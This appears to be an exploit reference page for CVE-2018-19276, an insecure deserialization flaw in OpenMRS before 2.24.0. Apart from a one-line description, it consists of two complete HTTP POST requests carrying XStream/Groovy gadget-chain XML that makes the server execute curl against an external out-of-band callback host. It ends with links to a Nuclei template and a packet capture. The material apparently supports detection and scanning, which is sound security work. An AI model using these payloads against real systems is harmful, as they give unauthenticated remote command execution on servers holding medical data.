CVE-2018-19276: OpenMRS Platform < 2.24.0 - Insecure Object Deserialization

🔍 Vulnerability Description

OpenMRS before 2.24.0 is affected by an Insecure Object Deserialization vulnerability that allows an unauthenticated user to execute arbitrary commands on the targeted system via crafted XML data in a request body.

🌐 HTTP Request

POST /ws/rest/v1/xxxxxx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Content-Length: 952
Content-Type: text/xml
Accept-Encoding: gzip
Connection: close

<map>

  <entry>

    <groovy.util.Expando>

      <expandoProperties>

        <entry>

          <string>hashCode</string>

          <org.codehaus.groovy.runtime.MethodClosure>

            <delegate class="java.lang.ProcessBuilder">

              <command>

                <string>curl</string><string>d5jpvmple0o2ts3gdbt0mey8x1sexn6q4.oast.online</string>

              </command>

              <redirectErrorStream>false</redirectErrorStream>

            </delegate>

            <owner class="java.lang.ProcessBuilder" reference="../delegate"/>

            <resolveStrategy>0</resolveStrategy>

            <directive>0</directive>

            <parameterTypes/>

            <maximumNumberOfParameters>0</maximumNumberOfParameters>

            <method>start</method>

          </org.codehaus.groovy.runtime.MethodClosure>

        </entry>

      </expandoProperties>

    </groovy.util.Expando>

    <int>1337</int>

  </entry>

</map>

POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.8
Content-Length: 952
Content-Type: text/xml
Accept-Encoding: gzip
Connection: close

<map>

  <entry>

    <groovy.util.Expando>

      <expandoProperties>

        <entry>

          <string>hashCode</string>

          <org.codehaus.groovy.runtime.MethodClosure>

            <delegate class="java.lang.ProcessBuilder">

              <command>

                <string>curl</string><string>d5jpvmple0o2ts3gdbt0y9f3b6eschpm3.oast.online</string>

              </command>

              <redirectErrorStream>false</redirectErrorStream>

            </delegate>

            <owner class="java.lang.ProcessBuilder" reference="../delegate"/>

            <resolveStrategy>0</resolveStrategy>

            <directive>0</directive>

            <parameterTypes/>

            <maximumNumberOfParameters>0</maximumNumberOfParameters>

            <method>start</method>

          </org.codehaus.groovy.runtime.MethodClosure>

        </entry>

      </expandoProperties>

    </groovy.util.Expando>

    <int>1337</int>

  </entry>

</map>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19276.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19276.pcap